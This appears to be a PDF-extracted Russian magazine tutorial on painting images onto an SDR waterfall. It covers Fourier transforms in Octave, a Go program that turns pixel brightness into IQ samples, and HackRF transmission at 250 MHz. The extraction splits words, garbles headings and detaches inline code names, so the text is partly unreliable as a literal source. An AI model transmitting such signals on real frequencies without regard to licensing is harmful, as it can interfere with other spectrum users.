воля ют хра нить боль ше информа ции о сиг нале. Нап ример, сущес тву ют
ампли туд ный и фазовый спек тры, и пер вый опре деля ется дей стви тель ной
частью, а вто рой — мни мой.

Сра зу же хочет ся упо мянуть еще одно из свой ств пре обра зова ния Фурье:
если сдви гать сиг нал во вре мени, то ампли туд ный спектр сиг нала менять ся
не будет. Изме нять ся будет толь ко фазовый спектр, который опи сыва ется
ком плексной частью.

Îáðàòíîå ïðåîáðàçîâàíèå Ôóðüå
Об ратное пре обра зова ние Фурье — это про цеду ра получе ния сиг нала
из спек тра. У сиг нала может быть нес коль ко парамет ров, такие как мак- 
сималь ная ампли туда, диапа зон час тот и его дли тель ность. Давай нач нем
с прос того при мера: сде лаем сиг нал из спек тра, на котором будет толь ко
отметка в 5 Гц с ампли тудой 1.

% Частота дискретизации в герцах
  fs = 1000;

% Длительность сигнала в секундах
  T = 1;

% Общее количество отсчетов
    N = T * fs;

% Создание спектра
% Инициализация спектра нулями

   spectrum = zeros(1, N);

% Частота для отметки в спектре
  f_target = 5;

% Индекс для частоты 5 Гц
    index = f_target + 1;

% Установка амплитуды
  spectrum(index) = 1;

Пер вым делом зада ются парамет ры: дли тель ность, час тота дис кре тиза ции
и количес тво отсче тов на осно ве дли тель нос ти и дис кре тиза ции. Далее соз- 
даем сам спектр — он будет, по сути, прос то мас сивом. Уста нав лива ем в нем
все зна чения в ноль и толь ко ампли туду час тоты 5 Гц ста вим в еди ницу.
В этом при мере мы уста нав лива ем толь ко вещес твен ную часть ком плексно го
чис ла. Ты можешь поп робовать добавить мни мую часть — для это го вмес то

 напиши  и пос мотри,

что будет. Фаза сиг нала дол жна изме нить ся.

spectrum(index) = 1; spectrum(index) = 1 + 4i;

% Обратное преобразование Фурье для получения сигнала
  signal = real(ifft(spectrum));

  t = 0:1/fs:T-1/fs;

% Визуализация сигнала
figure;

 plot(t, real(signal));
title('Сигнал, полученный из спектра');
xlabel('Время (с)');
ylabel('Амплитуда');

% Визуализация спектра
      f_axis = (0:N-1) * fs / N;

figure;
  stem(f_axis(1:N/2), abs(spectrum(1:N/2)), 'filled');

title('Спектр с отметкой на 5 Гц');
xlabel('Частота (Гц)');
ylabel('Амплитуда');

 xlim([0 10]);

Пре обра зуем наш спектр в сиг нал с помощью коман ды , которая выпол- 

няет обратное пре обра зова ние, и стро им визу али зацию. В моем коде я беру
сра зу реаль ную часть сиг нала для отоб ражения, но если поменять фун кцию

 на  в стро ке с , то мож но будет получить фазовый спектр,

о котором я говорил в начале статьи.

ifft

real imag ifft

Ñìåøèâàåì ñèãíàëû
Для при мера давай сде лаем сиг нал из сме си трех синусо ид на час тотах 5,
10 и 15 Гц. Для это го дос таточ но все эти три синусо иды прос то сло жить.

% Частота дискретизации в герцах
  fs = 1000;

% Продолжительность сигнала в секундах
  T = 1;

% Вектор времени
  t = 0:1/fs:T-1/fs;

% Частоты
  f1 = 5;
  f2 = 10;
  f3 = 15;

% Синусоиды
        signal1 = sin(2 * pi * f1 * t);
        signal2 = sin(2 * pi * f2 * t);
        signal3 = sin(2 * pi * f3 * t);

% Складываем синусоиды (шок)
      signal = signal1 + signal2 + signal3;

 plot(t, signal);
xlabel('Время (с)');
ylabel('Амплитуда');
title('Синусоида');

 grid on;

Все перемен ные мож но по отдель нос ти изу чить в окне Workspace. Нетяже ло
заметить, что  — это мас сив из 1000 эле мен тов, в котором хра нят ся вре- 

мена отсче тов.

t

     
 

0 0.0010      0.0020      0.0030      0.0040      0.0050      0.
0060 ...

Сам же сиг нал ( ) — это тоже мас сив. Для каж дого вре мени Octave

авто мати чес ки пос читал синус и соз дал новый мас сив. Каж дому i-му эле мен- 
ту мас сива с сиг налом соот ветс тву ет i-й эле мент мас сива , опре деля ющий
вре мя, в которое сиг нал будет иметь такую ампли туду.

signal1

t

                  0 0.031411 0.062791 0.094108 0.12533 0.15643 0.18738 ...

Ес ли же закон чить выпол нение скрип та и пос мотреть резуль таты сло жения
в перемен ной , то уви дим ожи даемую сум му трех синусо идаль ных сиг- 

налов.

signal

         0 0.18831 0.37551 0.56048 0.74215 0.91944 1.0913 ...

Те перь мож но запус тить оставшу юся часть кода и уви деть отри сован ную
фор му сиг нала.

Сиг нал из трех синусо ид (5, 10, 15 Гц)

Выг лядит инте рес но. А теперь пос мотрим на ампли туд ный спектр это го сиг- 
нала. Что бы это сде лать, исполь зуем сле дующий код.

% Частота дискретизации в герцах
  fs = 1000;

% Продолжительность в секундах
  T = 1;
  t = 0:1/fs:T-1/fs;

  f1 = 5;
  f2 = 10;
  f3 = 15;

% Синусоиды
        signal1 = sin(2 * pi * f1 * t);
        signal2 = sin(2 * pi * f2 * t);
        signal3 = sin(2 * pi * f3 * t);

% Сложение синусоид
      signal = signal1 + signal2 + signal3;

% Выполнение преобразования Фурье
  signal_fft = fft(signal);

    P2 = abs(signal_fft / length(signal));

  P1 = P2(1:length(signal)/2+1);
  P1(2:end-1) = 2*P1(2:end-1);

  f_axis = fs*(0:(length(signal)/2))/length(signal);

% Визуализация спектра
  bar(f_axis, P1, 'hist');

title('Амплитудный спектр сигнала');
xlabel('Частота (Гц)');
ylabel('|P1(f)|');

 xlim([0, max(f_axis)]);

За пус каем и получа ем три кра сивых стол бика как раз на час тотах 5,
10 и 15 Гц. Прек расно.

Спектр нашего слож ного сиг нала

Продолжение статьи →

mailto:qeewwqqq@gmail.com
https://octave.org/


УЧИМСЯ РИСОВАТЬ
ИЗОБРАЖЕНИЯ В РАДИОЭФИРЕ

GEEK  НАЧАЛО СТАТЬИ←

ÊÀÐÒÈÍÊÀ

Те перь, ког да мы зна ем, как соз давать свои слож ные сиг налы и как они рас- 
кла дыва ются обратно на сос тавля ющие их час тоты, мож но прис тупать к кон- 
тро лю над  тем, что выводит ся на водопа де. Задачу возь мем нес- 
ложную — вывес ти на водопад кар тинку.

ми ром

Пе ред выводом надо пре обра зовать саму кар тинку — на водопа де не так
уж мно го цве тов, так что палит ру при дет ся умень шить. Для надеж ности вооб- 
ще при ведем кар тинку к чер но-белой.

В теории есть два вари анта: пре обра зовать кар тинку в чер но-белую
и брать зна чение серого цве та пик селя от 0 до 255 или же брать яркость каж- 
дого пик селя. Мы оста новим ся на вто ром вари анте, пос коль ку он луч ше сов- 
местим с раз ными прог рамма ми, отоб ража ющи ми водопад.

Те перь давай визу али зиру ем план. Так как водопад выводит ся пос троч но,
то и нашу кар тинку надо раз бить на стро ки. В каж дой стро ке — опре делен ное
количес тво пик селей, пус кай для наг ляднос ти их будет десять. Зна чения пик- 
селей возь мем сле дующие: . Зна чение пик селя будет

ампли тудой, а его индекс в стро ке — час тотой.

1,1,0,0,1,1,1,1,0,1

Спектр с пик селями

На самом же деле ампли туды у пик селей будут раз ные, так как сама ампли- 
туда зависит от яркости пик селя. Важ но учесть еще один момент: на самом
деле строк нуж но боль ше одной. Каж дая стро ка усредня ется за какое-то вре- 
мя, так что, что бы нарисо вать на водопа де что-то свое, нуж но пов торять одну
стро ку нес коль ко раз (что бы она чет ко отоб разилась на водопа де). Каж дую
стро ку мы будем дуб лировать опре делен ное количес тво раз. Количес тво
строк будет пря мо зависеть от вре мени, которое мы зададим на одну стро ку,
и от час тоты дис кре тиза ции.

Ко неч ный алго ритм зву чит так: чита ем пос троч но кар тинку и пре обра зуем
каж дую стро ку в мас сив с яркостью пик селей. Каж дую стро ку пов торя ем
необ ходимое количес тво раз, что бы она была в эфи ре нуж ное нам вре мя
и как сле дует отри сова лась на водопа де. Пос ле кон верта ции и пов торения
строк пре обра зуем мас сивы со стро ками в сиг налы и записы ваем их в нуж- 
ном фор мате в файл.

Ðàçáèðàåì êàðòèíêó
Что бы про читать кар тинку, в Go уже есть встро енные биб лиоте ки . Я

под клю чу биб лиоте ки для фор матов GIF, JPEG и PNG, хотя, разуме ется, ты
можешь добавить и дру гие.

image

 package main

 import (
   "flag"
   "fmt"
    _ "image/gif"
    _ "image/jpeg"
    _ "image/png"
   "log"

    waterfoolImage "waterfool/v2/src/image"
)

  func main() {
       imagePath := flag.String("image", "image.png", "image to convert"
)
   flag.Parse()

      img, err := waterfoolImage.ReadImage(*imagePath)
       if err != nil {
       log.Panic(err)
   }

 // Число точек преобразования Фурье. Равно ширине картинки, то 
есть длине одной строки
     NFFT := img.Bounds().Max.X
     repetitions := waterfoolImage.Repetitions(NFFT)
     
 

brightnessImg := waterfoolImage.ConvertImageToBrightnessArray(img
, repetitions)
     brightnessImgReversed := waterfoolImage.FlipVertically(
brightnessImg)
    

 
waterfoolImage.GrayMatrixToSignals(brightnessImgReversed,

"output.iq8s", NFFT)
}

В коде я нем ного забежал впе ред и написал сра зу всю фун кцию .

Осталь ные фун кции мы раз берем ниже, попут но про веряя, как все
это работа ет.

main()

В начале нуж но прос то про читать кар тинку, что дела ется в фун кции
. Каж дый эле мент мас сива — это стро ка пик селей.ReadImage

     func ReadImage(imagePath string) (image.Image, error) {
      file, err := os.Open(imagePath)
       if err != nil {

         return nil, err
   }
    defer file.Close()

       img, _, err := image.Decode(file)
       if err != nil {

         return nil, err
   }

     return img, nil
}

Са мая прос тая из наших фун кций — это прос то чте ние кар тинки. Откры ваем
файл, чита ем, воз вра щаем резуль тат.

     
 

func ConvertImageToBrightnessArray(img image.Image, repetition int)
[][]float64 {
     imageWidth := img.Bounds().Dx()
       imageHeight := img.Bounds().Dy() * repetition
      brightnessMatrix := make([][]float64, imageHeight)

           for y := 0; y < imageHeight; y++ {
          brightnessMatrix[y] = make([]float64, imageWidth)

               for x := 0; x < imageWidth; x++ {
                 originalY := (y / repetition) + img.Bounds().Min.Y

                 r, g, b, _ := img.At(x, originalY).RGBA()
     

 
           brightness := (0.299*float64(r>>8) + 0.587*float64(g>>8)
+ 0.114*float64(b>>8))

             brightnessMatrix[y][x] = brightness
       }
   }
    return brightnessMatrix
}

Фун кция пре обра зова ния кар тинки из цвет ной в яркос тную уже более инте- 
рес на. Самый прос той спо соб пре обра зовать RGB-цвет в яркость — при- 
менить фор мулу для перево да в цве товое прос транс тво YUV, но исполь зовать
мы будем толь ко ком понен ту Y. Выг лядит она сле дующим обра зом:

      brightness = 0.299*R + 0.587*G + 0.114*B

Каж дое зна чение у меня сдви гает ся впра во на 8 (что экви вален тно делению
на 256), что бы зна чения в резуль тате не пре выша ли 255 и вле зали в один
байт. Так же в этой фун кции учи тыва ются пов торения — тре буемое их
количес тво на стро ку переда ется в аргу мен тах фун кции. Матема тика пов- 
торений край не прос та:

    func Repetitions(NFFT int) int {
        return int(float64(freq) * lineTime / float64(NFFT))
}

Ум ножа ем час тоту дис кре тиза ции на задан ное нами вре мя и делим на чис ло
точек пре обра зова ния, которое в нашем слу чае рав но раз меру кар тинки.
Получив количес тво пов торений, прос то пов торя ем стро ку с пик селями необ- 
ходимое нам чис ло раз, что бы получи лось нуж ное на одну стро ку вре мя.
И округля ем, потому что чис ло пов торений дол жно быть обя затель но целым.
Забегая впе ред, ска жу, что для боль шинс тва кар тинок хорошо под ходит дли- 
тель ность одной стро ки в 0,01 с.

Со берем код в одну кучу и про верим, кор рек тно ли все работа ет. Я тес- 
тирую прог рамму на кар тинке с одной стро кой, так что добавил неболь шой
отла доч ный вывод, что бы оце нить, как прог рамма пре обра зует цве та.

 

 

$ go run cmd/waterfool/main.go -image 1row.png 
2024/03/30 04:16:21 
[[255 255 255 255 255 255 255 255 255 255 166 119 119 47 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 47 119 187 255 255 255 255 255 25
5 255 255 255 166 119 119 119 119 119 47 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 47 119 119 166 255 255 255 255 255 255 255 255 255 255 255 25
5 213 136 47 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 47 121 205 255 255 255 255 255 
255 255 255 255 255 255 255 255 247 175.99999999999997 136 47 0 0 0 0 0 
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

В начале у меня яркая зона, затем тем ная, потом опять яркая и так далее.
Для боль шей наг ляднос ти мож но запус тить вывод в файл, тог да на кар те кода
мы дол жны уви деть нашу кар тинку как ASCII-арт из цифр. Для пущей наг- 
ляднос ти при несем в жер тву прог рамме кар тинку кота.

У кота аж пик сели све тят ся от счастья

Ко та чет ко вид но, хотя и не целиком — пря чет ся!

Ñîáèðàåì ñïåêòð
Те перь перей дем непос редс твен но к работе со спек тром. У нас уже есть мат- 
рица с яркостью всех пик селей, и теперь из нее нуж но толь ко сге нери ровать
сиг нал, который мы потом отпра вим с HackRF.

Нач нем с тес тового изоб ражения. Я соз дал PNG раз мером 320  1, то
есть все го одна стро ка, и нарисо вал там белые учас тки, что бы потом было
лег ко рас смот реть их на спек тре.

Все го шесть полосок, которые мы и будем искать на водопа де. Перей дем
теперь к реали зации.

     
  

func MatrixToSignals(brightnessMatrix [][]float64, outputPath string,
NFFT int) {
      file, err := os.Create(outputPath)
       if err != nil {
       return
   }
    defer file.Close()

         for index, imageRow := range brightnessMatrix {
          spectrum := prepareSpectrum(imageRow, NFFT)
         timeSignal := fft.IFFT(spectrum)

             for _, val := range timeSignal {
             i := real(val)
             q := imag(val)

            file.Write([]byte{uint8(i), uint8(q)})
       }
   }
}

Для начала прог рамма откры вает файл, в который будет записы вать ся
резуль тат для HackRF. Даль ше про ходим по мат рице с яркостью пик селей
( ). Каж дую стро ку нуж но под готовить, перед тем как прев- 

ратить в сиг нал с помощью обратно го пре обра зова ния Фурье. Этим занима- 
ется фун кция , которая при нима ет стро ку и конеч ный раз- 
мер сиг нала — количес тво точек пре обра зова ния Фурье.

brightnessMatrix

prepareSpectrum

      func prepareSpectrum(imageRow []float64, NFFT int) []complex128 {
      spectrum := make([]complex128, NFFT)

         for i, amp := range imageRow {
       

 
       phase := (float64(NFFT) + rand.Float64()*(float64(NFFT))) * 2
* math.Pi

          spectrum[i] = cmplx.Rect(amp, phase)
   }

    return spectrum
}

В самой фун кции соз даем мас сив ком плексных чисел. Про ходя по стро ке,
для каж дой ампли туды генери руем свою слу чай ную фазу и сох раня ем ампли- 
туду и фазу в мас сив спек тра.

Пос ле обра бот ки каж дой стро ки все получив шиеся зна чения при водят ся
к  и записы вают ся в файл. Так как все зна чения у нас уже от 0 до 255, то

даже пре обра зовы вать ничего не нуж но, прос то переда ем их нап рямую
в фун кцию .

uint8

Write()
Не будем углублять ся в алго ритм сох ранения сиг нала в файл, так как весь

смысл сох ранения — это перевод ком плексных чисел в  и запись
на диск.

uint8

В целом все понят но, давай пос мотрим теперь, какой сиг нал генери рует ся
пос ле этой фун кции, и иссле дуем его в Octave. Добавим неболь шой код пос- 
ле  в фун кции .ifft MatrixToSignal

    if index == 0 {
         for _, i := range timeSignal {
       fmt.Println(real(i))
   }
}

 

 

$ go run cmd/waterfool/main.go -image 1row.png 
...600958,0.03571476212811692,-0.0003735044026043679,0.00081516933106350
47,0.0022184753433024547,-0.010361459381957438,0.0006176081883488185,-0.
0010268762750873684,-0.0017262408223864766,0.007508156273533283,0.003996
5048812498054,-0.03337287134600915,-0.024608506973970497,-0.017445897301
67126,0.0016205568665210279,0.0265336118415809,-0.0394703755702079,-0.03
3246717203558,-0.028585764343979025,-0.022926954442742502,0.016920892199
293863,-0.04566089157261759,-0.026768135802805855,-0.014614170075202377,
-0.02137115112426234,0.012153815843680539,-0.04226266992832104,-0.022837
55626852157,-0.01723002473942125,-0.024944210161337337,0.009031808029088
694,-0.0170090191449942,0.0...

В кон соль выводят ся реаль ные час ти нашего сиг нала, по ним мы можем пос- 
мотреть фор му сиг нала и его спектр. Что бы сде лать это, вер немся к Octave. Я
под готовил малень кий скрипт, что бы изу чать сиг налы.

  signal = []

length(signal);
  t = 1:length(signal);

  spectrum = fft(signal);
  N = length(spectrum);

  freq = (0:N-1)*(1/N);

  subplot(2, 1, 1);
 plot(t, signal);

title('Сигнал');
xlabel('Время');
ylabel('Амплитуда');

  subplot(2, 1, 2);
 bar(freq(1:N/2), abs(spectrum(1:N/2)));

title('Спектр');
xlabel('Частота');
ylabel('Амплитуда');

Под ставь вывод из кон соли в мас сив  и запус ти. На выходе ты дол жен

получить сиг нал и его спектр. Давай запус тим и пос мотрим, что будет.

signal

Спектр, отри сован ный Octave, пов торя ет фор му рисун ка. Как ты можешь
заметить, ампли туда не пре выша ет еди ницу, а дли тель ность сиг нала рав на
ширине кар тинки. Этот сиг нал — толь ко одна стро ка нашего изоб ражения,
которую мы будем выводить нес коль ко раз.

ÒÅÑÒÛ

Про тес тиру ем мы на двух HackRF, один из которых будет в виде PortaPack.

PortaPack — это аппа рат ное допол нение
для HackRF. Оно поз воля ет исполь зовать SDR
без ПК, как пор татив ное устрой ство. По сути,
добав ляет ся экран, спе циаль ное ПО и батарея.
PortaPack отлично под ходит для экспе римен тов
в поле, так как с ним не нуж но всег да носить
с собой ноут бук.

Для тес та поп робу ем в цик ле передать нашу стро ку и пос мотреть на спектр.
Запус каем переда чу:

 

 

 

$ hackrf_transfer -t output.iq8s -f 250000000 -s 2000000 -x 45 -a 1 -R 
call hackrf_set_sample_rate(2000000 Hz/2.000 MHz) 
call hackrf_set_hw_sync_mode(0) 
call hackrf_set_freq(250000000 Hz/250.000 MHz) 
call hackrf_set_amp_enable(1) 
Stop with Ctrl-C 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 4.2 MiB / 1.000 sec =  4.2 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 4.2 MiB / 1.000 sec =  4.2 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
 3.9 MiB / 1.000 sec =  3.9 MiB/second, average power -32.1 dBfs 
^CCaught signal 2 
 3.1 MiB / 0.749 sec =  4.2 MiB/second, average power -32.1 dBfs

Exiting... 
Total time: 11.74886 s 
hackrf_stop_tx() done 
hackrf_close() done 
hackrf_exit() done 
fclose() done 
exit

Вклю чаем переда чу с одной SDR и смот рим водопад на дру гой на час- 
тоте 251 МГц. Выг лядит это, как на кар тинке ниже.

Как видим, все шесть крас ных полосок на мес те, а зна чит, наше изоб ражение
в одну стро ку кор рек тно прев ратилось в сиг нал из спек тра и теперь мы
можем пос мотреть его на водопа де! Давай поп робу ем что-то пос ложнее.
Возь мем обыч ную кар тинку в фор мате PNG.

Все работа ет! Мож но, конеч но, под кру тить нем ного количес тво пов торений
стро ки, но, кажет ся, и так выг лядит хорошо.

ÂÛÂÎÄÛ

Код, конеч но, не иде ален и тре бует некото рых дорабо ток (нап ример, сдви га
спек тра в начало и кор ректи ров ку ампли туд к цен тру), но это не помеша ло
нам получить работа ющий proof of concept рисовал ки на водопа де. Успе хов
в пов торении экспе римен та!



«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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